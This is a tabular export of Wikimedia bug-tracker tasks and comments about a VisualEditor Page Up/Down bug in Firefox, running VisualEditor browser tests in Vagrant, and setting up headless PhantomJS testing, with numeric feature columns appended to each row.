+55750,VisualEditor: Page down and page up not working as expected in Firefox,"an IP editor at en.wp reports:
+""At any given page, as long the edit box is selected (with the cursor blinking) pressing 'page down' or 'page up' takes you to the end of the page. Firefox 23.0, Linux Mint.""
+The example page they gave was [[Jet Lee]]
+
+Using Firefox 23 on Xubuntu linux with the monobook skin I am unable to duplicate that behaviour, but:
+At [[Jet Lee]] and [[User:Thryduulf/sandbox2]]: pressing page down or page up works as expected once but then does nothing. I then click anywhere in the body and again one of them works once, and then not until I click. However, once I've viewed the end of the page it expected. 
+
+At [[User:Thryduulf/sandbox]] and [[Timbuktu]] it works as expected from the start. 
+
+At [[Nigeria]] I saw the same behaviour as at [[Jet Lee]] but when I returned to the top of the page it went back to working only once.
+
+At [[Great Balls of Fire]] page down worked once, then didn't. I clicked and it worked as expected subsequently.
+
+At [[Malvern Link]] I saw the same as at [[Nigeria]], but after pressing page up both page up and page down then worked as expected.
+
+I'm struggling to see any pattern.
+
+Bug 33047 was suggested as having potential relevance, but that was fixed in October 2012 so my gut feeling is that its unlikely.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51957
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50726",High,80.0,1378300380,1399419475.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-bl2j543fwlnzihaohpzu,task_description,resolved,True,c1,3,False,False,False,9,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+237423,VisualEditor: Page down and page up not working as expected in Firefox,"AFAICT this is now works in Firefox since the Firefox-related CE fixes, though there are some oddities generally about Page Up / Page Down. Closing as such for now, but happy to re-open if I've missed something.",,,1399419475,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bl2j543fwlnzihaohpzu,task_subcomment,,True,c1,3,True,,,44,,1,1,0,0,0,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+237419,VisualEditor: Page down and page up not working as expected in Firefox,"I am able to reproduce this on Firefox 24/Linux.
+Page down on the following articles jumps to the bottom of the article, irrespective of where the cursor is placed.  Even stranger, page up also goes to the bottom of the article.
+https://en.wikipedia.org/wiki/Nigeria?veaction=edit
+https://en.wikipedia.org/wiki/Great_Balls_of_Fire?veaction=edit
+
+The problematic behaviour doesnt happen on simpler articles like
+https://en.wikipedia.org/w/index.php?title=Walter_T._Downing&veaction=edit
+https://en.wikipedia.org/w/index.php?title=Sienno,_W%C4%85growiec_County&veaction=edit
+
+Bug 51957 is another Firefox only keyboard navigation problem.",,,1381625305,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-bl2j543fwlnzihaohpzu,task_subcomment,,True,c1,3,False,,,14,,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,0
+237415,VisualEditor: Page down and page up not working as expected in Firefox,"Germanjoe comments suggests it may be related to problems establishing cursor position relative to templates:
+
+""Maybe a related error occured, while testing in [[Nigeria]], Firefox 23, mono. Enter VE-mode and click below one of the huge (really huge) navbox farms at the end of the article (in the blank line below them). Now i made two tests:
+
+Click ""Page up"" => OK, scrolls up as expected. 
+Now click ""Page up"" again => ERROR, jumps down to the initial position below the navbox.
+        
+another test from the same initial position below the huge navbox: 
+""Page up"", then ""Page down"", then ""Page up"" and a second ""Page up"" => works OK.
+
+If i had to guess (uneducated as always), it looks like VE has problems storing or establishing the cursor position while scrolling through some huge or complex templates. """,,,1378382011,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-bl2j543fwlnzihaohpzu,task_subcomment,,True,c1,3,False,,,9,,1,0,0,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,1
+237409,VisualEditor: Page down and page up not working as expected in Firefox,"It's Windows 7, sorry. I am also the original reporter of the related bug 52445, whose effect is also being kicked to the end of the edit box and Firefox only.",,,1378302842,,PHID-USER-qlrpm27qlsmjh2pg65bg,False,,,PHID-TASK-bl2j543fwlnzihaohpzu,task_subcomment,,True,c1,3,False,,,9,,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+237402,VisualEditor: Page down and page up not working as expected in Firefox,the same IP user has followed up saying (while I was reporting this) that they have been unable to reproduce their original report in Firefox 23.0.1 in Windows (they don't say which version),,,1378300544,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-bl2j543fwlnzihaohpzu,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+55712,run VE browser tests in vagrant,"My goal next week is to be able to run the VE tests in a mediawiki-vagrant instance. When I added the role, I get puppet errors. Just in case you ran into this, here's the error:
+
+notice: /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns: Installing ffi (1.9.0) with native extensions /usr/lib/ruby/1.9.1/rubygems/installer.rb:552:in `rescue in block in build_extensions': ERROR: Failed to build gem native extension. (Gem::Installer::ExtensionBuildError)
+notice: /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns: 
+notice: /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns:         /usr/bin/ruby1.9.1 extconf.rb 
+
+         notice: /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns: Results logged to /home/vagrant/.gem/ruby/1.9.1/gems/ffi-1.9.0/ext/ffi_c/gem_make.out
+
+and all that contains is the line
+  /usr/bin/ruby1.9.1 extconf.rb 
+
+There's an extconf.rb in ~/.gem/ruby/1.9.1/gems/ffi-1.9.0/ext/ffi_c , so I ran that line, it created a Makefile, I ran make, and it built something.  But the next time I ran browsertests, it failed again.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",High,80.0,1378218960,1386002609.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-kxfoifw5vn4mx32v4nnk,task_description,resolved,True,c1,3,False,False,False,9,,1,1,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+234968,run VE browser tests in vagrant,Closing since this looks like it has been fixed to me. Please reopen if needed.,,,1386002609,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-kxfoifw5vn4mx32v4nnk,task_subcomment,,True,c1,3,True,,,22,,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+234963,run VE browser tests in vagrant,"**jhall** wrote:
+
+I was able to get this working on my MacBook Air with the following workflow (I have not been able to verify that this works on platforms other than Mac OS):
+
+1. vagrant enable-role visualeditor
+2. vagrant up
+3. vagrant provision
+4. vagrant ssh -- -X
+5. cd /srv/VisualEditor/VisualEditor/modules/ve-mw/test/browser
+6. export MEDIAWIKI_URL=<value>
+7. export MEDIAWIKI_USER=<value>
+8. export MEDIAWIKI_PASSWORD=<value>
+9. export PATH=$PATH:/home/vagrant/.gem/ruby/1.9.1/gems/cucumber-1.3.8/bin 
+10. bundle exec cucumber <value>",,,1384965154,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kxfoifw5vn4mx32v4nnk,task_subcomment,,True,c1,3,False,,,20,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1
+55691,browsertests: triggers for VisualEditor,"Similar to bug 52120 for ULS. Once we've got this running on merge, we'll want to move to running on submit (V+2 submit?), but for now…
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52120
+https://bugzilla.wikimedia.org/show_bug.cgi?id=57560",High,80.0,1378156860,1392915139.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-wn3s7fg7p7dky4txupqd,task_description,resolved,True,c1,3,True,False,False,9,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0
+233751,browsertests: triggers for VisualEditor,"**jhall** wrote:
+
+Basic test is merged and in place, so marking this bug resolved.",,,1392915139,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,33,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+233747,browsertests: triggers for VisualEditor,"Change 111890 merged by jenkins-bot:
+[Browser test] Headless browser test(s)
+
+https://gerrit.wikimedia.org/r/111890",,,1392914962,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,33,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+233741,browsertests: triggers for VisualEditor,"Change 100797 abandoned by Hashar:
+[browser test] Cucumber default profile for CI
+
+Reason:
+we are using something different than the ciwmf profile.
+
+https://gerrit.wikimedia.org/r/100797",,,1392028920,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,32,,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+233734,browsertests: triggers for VisualEditor,"Change 111890 had a related patch set uploaded by Jhall:
+[Browser test] New test for headless browser testing on a fresh Mediawiki install with VisualEditor.
+
+https://gerrit.wikimedia.org/r/111890",,,1391719839,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,31,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+233729,browsertests: triggers for VisualEditor,"Change 110468 abandoned by Jhall:
+[Browser test] WIP Headless test for VE verification on a fresh Mediawiki install (as on Integration server).
+
+Reason:
+Abandoning this change since I'm going to start fresh with a slightly different approach.
+
+https://gerrit.wikimedia.org/r/110468",,,1391650517,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,31,,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+233725,browsertests: triggers for VisualEditor,"Change 110468 had a related patch set uploaded by Jhall:
+[Browser test] WIP Headless test for VE verification on a fresh Mediawiki install (as on Integration server).
+
+https://gerrit.wikimedia.org/r/110468",,,1391120795,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,30,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+233718,browsertests: triggers for VisualEditor,"Change 102960 abandoned by Jhall:
+[Browser test] WIP Modifications for PhantomJS compatibility
+
+Reason:
+Abandoning this patch since we have implemented support for headless browser testing in the mediawiki-selenium Rubygem (rather than implementing it in each individual repo).
+
+https://gerrit.wikimedia.org/r/102960",,,1391105926,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,30,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+233714,browsertests: triggers for VisualEditor,"**jhall** wrote:
+
+After some further investigation, we've decided to use the ""headless"" Rubygem for headless browser testing, and we've decided to incorporate that support into the mediawiki-selenium Rubygem so that it will be available to all WMF repositories that have browser tests.  The task for updating the mediawiki-selenium is captured in Bugzilla 60584.",,,1391013095,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,30,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,0
+233709,browsertests: triggers for VisualEditor,"**jhall** wrote:
+
+Scripts used to evaluate PhantomJS ""bind"" injection
+
+After a pairing session with Željko, I went back to basics and tried to get Function.prototype.bind injection working directly with PhantomJS (ignoring the rest of our test infrastructure for the time being).  
+
+Per the attached scripts, I tried all of the relevant methods noted in the PhantomJS API documentation:
+
+http://phantomjs.org/api/webpage/
+
+...and still no luck.  The Main_Page loads fine, with the exception of the VE editing link/tab, which is available to other browsers (Chrome, Firefox, etc) at the same URL.
+
+Per a suggestion from Antoine, it might be time to investigate using Firefox in a headless mode as a potential substitute for PhantomJS.
+
+**Attached**: {F11112}",,,1389822544,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,28,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+233703,browsertests: triggers for VisualEditor,"**jhall** wrote:
+
+Changing bug status since task in still WIP.",,,1388083976,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,25,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+233697,browsertests: triggers for VisualEditor,"Change 102960 had a related patch set uploaded by Jhall:
+[Browser test] WIP Modifications for PhantomJS compatibility
+
+https://gerrit.wikimedia.org/r/102960",,,1387556100,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,24,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+233690,browsertests: triggers for VisualEditor,"**jhall** wrote:
+
+Timo pointed me in the right direction:
+
+
+jeffrey-hall:browser jeffreyhall$ phantomjs
+phantomjs> Function.prototype.bind
+undefined
+
+
+Turns out PhantomJS is built with an old version of JavaScriptCore that is missing the ""bind"" implementation, which is needed to satisfy Visual Editor's es5 features check: 
+
+https://github.com/wikimedia/mediawiki-extensions-VisualEditor/blob/cf7f2b141d/modules/ve-mw/init/targets/ve.init.mw.ViewPageTarget.init.js#L72-L84
+
+…but a workaround is available:
+
+https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind?redirectlocale=en-US&redirectslug=JavaScript%2FReference%2FGlobal_Objects%2FFunction%2Fbind#Compatibility
+
+…so I'll investigate the workaround next.",,,1387493238,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,24,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+233682,browsertests: triggers for VisualEditor,"Created attachment 14138
+ve phantomjs
+
+**Attached**: {F11111}",,,1387468358,,PHID-USER-fz7hkyvt4jypl76ieyol,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,24,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+233676,browsertests: triggers for VisualEditor,"Created attachment 14137
+ve ff
+
+**Attached**: {F11109}",,,1387468337,,PHID-USER-fz7hkyvt4jypl76ieyol,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,24,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+233668,browsertests: triggers for VisualEditor,"Strange. I am pretty sure PhantomJS has JS. :)
+
+But, this simple script takes screen shot that shows it can not load visual editor.
+
+require ""watir-webdriver""
+browser = Watir::Browser.new :phantomjs
+browser.goto ""https://test2.wikipedia.org/wiki/User:Zeljko.filipin%28WMF%29?veaction=edit&vewhitelist=1""
+browser.window.resize_to 1280, 1024
+browser.screenshot.save ""ve.png""
+
+If :phantomjs is replaced with :firefox, then visual editor opens just fine (see screen shots).",,,1387468303,,PHID-USER-fz7hkyvt4jypl76ieyol,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,24,,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,1
+233661,browsertests: triggers for VisualEditor,"If a browser is not on the blacklist, and meets the functionality criteria, then the edit tabs for VisualEditor should show up. A browser not being on the whitelist just means the user gets a warning when they edit. Adding PhantomJS to the whitelist will not make VisualEditor appear if it doesn't already.
+
+(Also, you can bypass the blacklist with ?veaction=edit&vewhitelist=1 which should trigger VE even if you don't have a functional browser, as long as it has JS.)",,,1387389239,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,24,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+233656,browsertests: triggers for VisualEditor,"**jhall** wrote:
+
+Ah, I believe Željko is correct - looks like VE has a whitelist in addition to a blacklist.  See section beginning on line 169 in this file:
+
+https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FVisualEditor/1cd761dad8aed132619c2897abe367404ca8f3ca/modules%2Fve-mw%2Finit%2Ftargets%2Fve.init.mw.ViewPageTarget.js
+
+Will talk to the VE dev team and see if we can get PhantomJS whitelisted.",,,1387388081,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,24,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+233653,browsertests: triggers for VisualEditor,"Created attachment 14130
+phantomjs screen shot
+
+**Attached**: {F11108}",,,1387386995,,PHID-USER-fz7hkyvt4jypl76ieyol,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,24,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+233651,browsertests: triggers for VisualEditor,Looks like phantomjs is blacklisted (or not whitelisted). There is no visual editor edit option (see screen shot).,,,1387386945,,PHID-USER-fz7hkyvt4jypl76ieyol,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,24,,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+233649,browsertests: triggers for VisualEditor,"**jhall** wrote:
+
+Looks like it's not a problem with PhantomJS being blacklisted, per the VisualEditor browser blacklist which begins at line 890 of this file:
+
+https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FVisualEditor/b922592902ad57f770b6810566b820aada74aa47/VisualEditor.php
+
+…so I'll spend some more time tomorrow to see if I can figure out why PhantomJS doesn't seem to work as intended even when navigating directly to an ""editing mode"" URL.",,,1387327633,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,24,,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+233646,browsertests: triggers for VisualEditor,"Could it be that phantomjs lack some javascript functionality that would cause VisualEditor to disable itself ?  Might be a browser whitelist as well.  Honestly, I have no clue how it is handled in VisualEditor.",,,1386979767,,PHID-USER-orzyp3dswemhdgdznro5,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,True,,,23,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,0
+233642,browsertests: triggers for VisualEditor,"**jhall** wrote:
+
+PhantomJS screenshot from VE editing mode URL
+
+Thanks Željko.  I tried modifying the ""anon.feature"" test to navigate directly to the Visual Editor editing URL (?veaction=edit), but from capturing both a screenshot (attached) and the raw HTML that PhantomJS lands on, it does not appear that PhantomJS is successfully entering into Visual Editor editing mode.
+
+In any case, we're getting closer step-by-step, so I'll continue to work on this.
+
+**Attached**: {F11106}",,,1386956370,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-wn3s7fg7p7dky4txupqd,task_subcomment,,True,c1,3,False,,,23,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,1,1,0,1,0,1,0,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0
+233638,browsertests: triggers for VisualEditor,"Created attachment 14080
+phantomjs screen shot
+
